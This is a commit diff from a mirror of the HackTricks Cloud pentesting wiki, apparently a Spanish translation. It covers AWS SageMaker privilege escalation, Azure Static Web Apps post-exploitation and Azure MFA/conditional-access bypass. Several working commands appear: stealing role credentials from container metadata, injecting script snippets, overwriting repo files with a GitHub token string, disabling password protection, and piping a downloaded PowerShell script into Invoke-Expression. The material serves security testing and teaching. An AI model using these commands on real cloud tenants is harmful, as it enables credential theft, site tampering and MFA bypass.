mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 21:53:15 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
BIN
src/images/azure_static_password.png
Normal file
BIN
src/images/azure_static_password.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
@@ -19,7 +19,7 @@ aws sagemaker create-presigned-notebook-instance-url \
|
||||
```
|
||||
Navega a la URL con el navegador y haz clic en \`Open JupyterLab\` en la parte superior derecha, luego desplázate hacia abajo a la pestaña “Launcher” y en la sección “Other”, haz clic en el botón “Terminal”.
|
||||
|
||||
Ahora es posible acceder a las credenciales de metadatos del Rol IAM.
|
||||
Ahora es posible acceder a las credenciales de metadatos del rol IAM.
|
||||
|
||||
**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado.
|
||||
|
||||
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol de IAM adjunto**.
|
||||
Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol IAM adjunto**.
|
||||
```bash
|
||||
# I uploaded a python docker image to the ECR
|
||||
aws sagemaker create-processing-job \
|
||||
@@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**. Por lo tanto, el atacante podrá robar las credenciales del rol.
|
||||
Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**. Por lo tanto, el ataque podrá robar las credenciales del rol.
|
||||
|
||||
> [!WARNING]
|
||||
> Este escenario es más difícil de explotar que el anterior porque necesitas generar una imagen de Docker que enviará el rev shell o las credenciales directamente al atacante (no puedes indicar un comando de inicio en la configuración del trabajo de entrenamiento).
|
||||
@@ -71,7 +71,7 @@ Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecut
|
||||
> cd /tmp/rev
|
||||
> sudo docker build . -t reverseshell
|
||||
>
|
||||
> # Sube esto a ECR
|
||||
> # Sube a ECR
|
||||
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
|
||||
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
|
||||
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Un atacante con esos permisos podrá (potencialmente) crear un **trabajo de entrenamiento de hiperparámetros**, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**.\
|
||||
&#xNAN;_I no he explotado debido a la falta de tiempo, pero parece similar a las explotaciones anteriores, siéntete libre de enviar un PR con los detalles de la explotación._
|
||||
_No he explotado debido a la falta de tiempo, pero parece similar a las explotaciones anteriores, siéntete libre de enviar un PR con los detalles de la explotación._
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Para más información sobre este servicio, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Es posible hacer que una página web estática cargue código HTML arbitrario creando un snippet. Esto podría permitir a un atacante inyectar código JS dentro de la aplicación web y robar información sensible como credenciales o claves mnemotécnicas (en billeteras web3).
|
||||
|
||||
El siguiente comando crea un snippet que siempre será cargado por la aplicación web::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Leer Credenciales de Terceros Configuradas
|
||||
|
||||
Como se explicó en la sección de App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Ejecutando el siguiente comando es posible **leer las credenciales de terceros** configuradas en la cuenta actual. Ten en cuenta que si, por ejemplo, algunas credenciales de Github están configuradas en un usuario diferente, no podrás acceder al token desde otro.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
Este comando devuelve tokens para Github, Bitbucket, Dropbox y OneDrive.
|
||||
|
||||
Aquí tienes algunos ejemplos de comandos para verificar los tokens:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Sobrescribir archivo - Sobrescribir rutas, HTML, JS...
|
||||
|
||||
Es posible **sobrescribir un archivo dentro del repositorio de Github** que contiene la aplicación a través de Azure enviando un **token de Github** con una solicitud como la siguiente, que indicará la ruta del archivo a sobrescribir, el contenido del archivo y el mensaje de confirmación.
|
||||
|
||||
Esto puede ser abusado por atacantes para básicamente **cambiar el contenido de la aplicación web** para servir contenido malicioso (robar credenciales, claves mnemotécnicas...) o simplemente para **redirigir ciertas rutas** a sus propios servidores sobrescribiendo el archivo `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Tenga en cuenta que si un atacante logra comprometer el repositorio de Github de alguna manera, también puede sobrescribir el archivo directamente desde Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Con este permiso, es posible **modificar la contraseña** que protege una aplicación web estática o incluso desproteger cada entorno enviando una solicitud como la siguiente:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Este permiso permite obtener el **token de despliegue de clave API** para la aplicación estática.
|
||||
|
||||
Este token permite desplegar la aplicación.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Luego, para actualizar una aplicación, podrías ejecutar el siguiente comando. Ten en cuenta que este comando fue extraído al verificar **cómo funciona Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, ya que es el que Azure configuró por defecto para usar. Así que la imagen y los parámetros podrían cambiar en el futuro.
|
||||
|
||||
1. Descarga el repositorio [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (o cualquier otro repositorio que desees desplegar) y ejecuta `cd react-basic`.
|
||||
2. Cambia el código que deseas desplegar.
|
||||
3. Despliega ejecutando (recuerda cambiar el `<api-token>`):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Con este permiso es posible **cambiar la fuente de la aplicación web estática a un repositorio de Github diferente**, sin embargo, no se aprovisionará automáticamente ya que esto debe hacerse desde una Acción de Github, generalmente con el token que autorizó la acción, ya que este token no se actualiza automáticamente dentro de los secretos de Github del repositorio (se agrega automáticamente solo cuando se crea la aplicación).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Con este permiso es posible **restablecer la clave API de la aplicación web estática**, potencialmente DoSing los flujos de trabajo que implementan automáticamente la aplicación.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso correctos en las circunstancias adecuadas.\
|
||||
Las políticas de acceso condicional de Azure son reglas establecidas en Microsoft Azure para hacer cumplir los controles de acceso a los servicios y aplicaciones de Azure basándose en ciertas **condiciones**. Estas políticas ayudan a las organizaciones a asegurar sus recursos aplicando los controles de acceso correctos bajo las circunstancias adecuadas.\
|
||||
Las políticas de acceso condicional **definen** **Quién** puede acceder a **Qué** desde **Dónde** y **Cómo**.
|
||||
|
||||
Aquí hay un par de ejemplos:
|
||||
@@ -23,7 +23,7 @@ También es necesario configurar las **condiciones** que **activarán** la polí
|
||||
- **Red**: IP, rangos de IP y ubicaciones geográficas
|
||||
- Puede ser eludida usando una VPN o Proxy para conectarse a un país o logrando iniciar sesión desde una dirección IP permitida
|
||||
- **Riesgos de Microsoft**: Riesgo del usuario, riesgo de inicio de sesión, riesgo interno
|
||||
- **Plataformas de dispositivos**: Cualquier dispositivo o seleccionar Android, iOS, Windows Phone, Windows, macOS, Linux
|
||||
- **Plataformas de dispositivos**: Cualquier dispositivo o seleccionar Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- Si “Cualquier dispositivo” no está seleccionado pero todas las otras opciones están seleccionadas, es posible eludirlo usando un user-agent aleatorio no relacionado con esas plataformas
|
||||
- **Aplicaciones cliente**: Las opciones son “Navegador”, “Aplicaciones móviles y clientes de escritorio”, “Clientes de Exchange ActiveSync” y “Otros clientes”
|
||||
- Para eludir el inicio de sesión con una opción no seleccionada
|
||||
@@ -33,20 +33,20 @@ También es necesario configurar las **condiciones** que **activarán** la polí
|
||||
|
||||
Los posibles **resultados** son: Bloquear o Conceder acceso con condiciones potenciales como requerir MFA, que el dispositivo sea conforme…
|
||||
|
||||
### Plataformas de Dispositivos - Condición de Dispositivo
|
||||
### Plataformas de Dispositivos - Condición del Dispositivo
|
||||
|
||||
Es posible establecer una condición basada en la **plataforma del dispositivo** (Android, iOS, Windows, macOS...), sin embargo, esto se basa en el **user-agent** por lo que es fácil de eludir. Incluso **haciendo que todas las opciones exijan MFA**, si usas un **user-agent que no es reconocido,** podrás eludir el MFA o el bloqueo:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Simplemente haciendo que el navegador **envíe un user-agent desconocido** (como `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) es suficiente para no activar esta condición.\
|
||||
Puedes cambiar el user-agent **manualmente** en las herramientas de desarrollo:
|
||||
Puedes cambiar el user agent **manualmente** en las herramientas de desarrollador:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 O usar una [extensión de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
O usar una [extensión de navegador como esta](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Ubicaciones: Países, rangos de IP - Condición de Dispositivo
|
||||
### Ubicaciones: Países, rangos de IP - Condición del Dispositivo
|
||||
|
||||
Si esto está configurado en la política condicional, un atacante podría simplemente usar una **VPN** en el **país permitido** o intentar encontrar una manera de acceder desde una **dirección IP permitida** para eludir estas condiciones.
|
||||
|
||||
@@ -59,7 +59,7 @@ Es posible configurar **políticas de acceso condicional para bloquear o forzar*
|
||||
Para intentar eludir esta protección, deberías ver si puedes **iniciar sesión solo en cualquier aplicación**.\
|
||||
La herramienta [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) tiene **decenas de IDs de aplicación codificados** y intentará iniciar sesión en ellas y te informará e incluso te dará el token si tiene éxito.
|
||||
|
||||
Para **probar IDs de aplicación específicos en recursos específicos**, también podrías usar una herramienta como:
|
||||
Con el fin de **probar IDs de aplicación específicos en recursos específicos**, también podrías usar una herramienta como:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
@@ -69,7 +69,7 @@ Además, también es posible proteger el método de inicio de sesión (por ejemp
|
||||
|
||||
La herramienta [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) también podría usarse para propósitos similares, aunque parece no estar mantenida.
|
||||
|
||||
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede usar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva de **caja blanca**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
|
||||
La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se puede usar para probar estas protecciones y ver si es posible eludir los MFA o bloqueos, pero esta herramienta funciona desde una perspectiva **whitebox**. Primero necesitas descargar la lista de aplicaciones permitidas en el inquilino y luego intentará iniciar sesión en ellas.
|
||||
|
||||
## Otras elusiones de Az MFA
|
||||
|
||||
@@ -78,7 +78,7 @@ La herramienta [**ROPCI**](https://github.com/wunderwuzzi23/ropci) también se p
|
||||
Una opción de Azure MFA es **recibir una llamada en el número de teléfono configurado** donde se le pedirá al usuario que **envíe el carácter `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Como los caracteres son solo **tonos**, un atacante podría **comprometer** el mensaje de **buzón de voz** del número de teléfono, configurar como mensaje el **tono de `#`** y luego, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al buzón de voz.
|
||||
> Como los caracteres son solo **tonos**, un atacante podría **comprometer** el **mensaje de voz** del número de teléfono, configurar como mensaje el **tono de `#`** y luego, al solicitar el MFA, asegurarse de que el **teléfono de la víctima esté ocupado** (llamándolo) para que la llamada de Azure se redirija al correo de voz.
|
||||
|
||||
### Dispositivos compatibles
|
||||
|
||||
@@ -116,7 +116,7 @@ roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo se configuren las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
|
||||
MFASweep es un script de PowerShell que intenta **iniciar sesión en varios servicios de Microsoft utilizando un conjunto de credenciales proporcionado y tratará de identificar si MFA está habilitado**. Dependiendo de cómo estén configuradas las políticas de acceso condicional y otros ajustes de autenticación multifactor, algunos protocolos pueden terminar siendo de un solo factor. También tiene una verificación adicional para configuraciones de ADFS y puede intentar iniciar sesión en el servidor ADFS local si se detecta.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
@@ -135,7 +135,7 @@ Esta herramienta ha ayudado a identificar bypasses de MFA y luego abusar de APIs
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los consultores de seguridad que necesitan validar las Políticas de Acceso Condicional, pruebas para portales de Microsoft habilitados para 2FA, etc..
|
||||
Donkey token es un conjunto de funciones que tienen como objetivo ayudar a los consultores de seguridad que necesitan validar las Políticas de Acceso Condicional, pruebas para portales de Microsoft habilitados para 2FA, etc.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Static Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica sobre Aplicaciones Web Estáticas
|
||||
|
||||
Azure Static Web Apps es un servicio en la nube para alojar **aplicaciones web estáticas con CI/CD automático desde repositorios como GitHub**. Ofrece entrega de contenido global, backends sin servidor y HTTPS integrado, lo que lo hace seguro y escalable. Sin embargo, los riesgos incluyen CORS mal configurado, autenticación insuficiente y manipulación de contenido, lo que puede exponer las aplicaciones a ataques como XSS y filtración de datos si no se gestionan adecuadamente.
|
||||
|
||||
> [!TIP]
|
||||
> Cuando se crea una Aplicación Estática, puedes elegir la **política de autorización de despliegue** entre **Token de despliegue** y **flujo de trabajo de GitHub Actions**.
|
||||
|
||||
|
||||
### Autenticación de la Aplicación Web
|
||||
|
||||
Es posible **configurar una contraseña** para acceder a la Aplicación Web. La consola web permite configurarla para proteger solo los entornos de staging o tanto el de staging como el de producción.
|
||||
|
||||
Así es como, en el momento de escribir, se ve una aplicación web protegida por contraseña:
|
||||
|
||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
Es posible ver **si se está utilizando alguna contraseña** y qué entornos están protegidos con:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
Sin embargo, esto **no mostrará la contraseña en texto claro**, solo algo como: `"password": "**********************"`.
|
||||
|
||||
### Rutas
|
||||
|
||||
Las rutas definen **cómo se manejan las solicitudes HTTP entrantes** dentro de una aplicación web estática. Configuradas en el **`staticwebapp.config.json`** archivo, controlan la reescritura de URL, redirecciones, restricciones de acceso y autorización basada en roles, asegurando un manejo adecuado de recursos y seguridad.
|
||||
|
||||
Algunos ejemplos:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## Enumeración
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Ejemplos para generar aplicaciones web
|
||||
|
||||
Puedes encontrar un buen ejemplo para generar una aplicación web en el siguiente enlace: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Haz un fork del repositorio https://github.com/staticwebdev/react-basic/generate a tu cuenta de GitHub y nómbralo `my-first-static-web-app`
|
||||
2. En el portal de Azure, crea una Aplicación Web Estática configurando el acceso a GitHub y seleccionando el nuevo repositorio previamente bifurcado
|
||||
3. Créalo, espera unos minutos y ¡verifica tu nueva página!
|
||||
|
||||
## Post Explotación
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user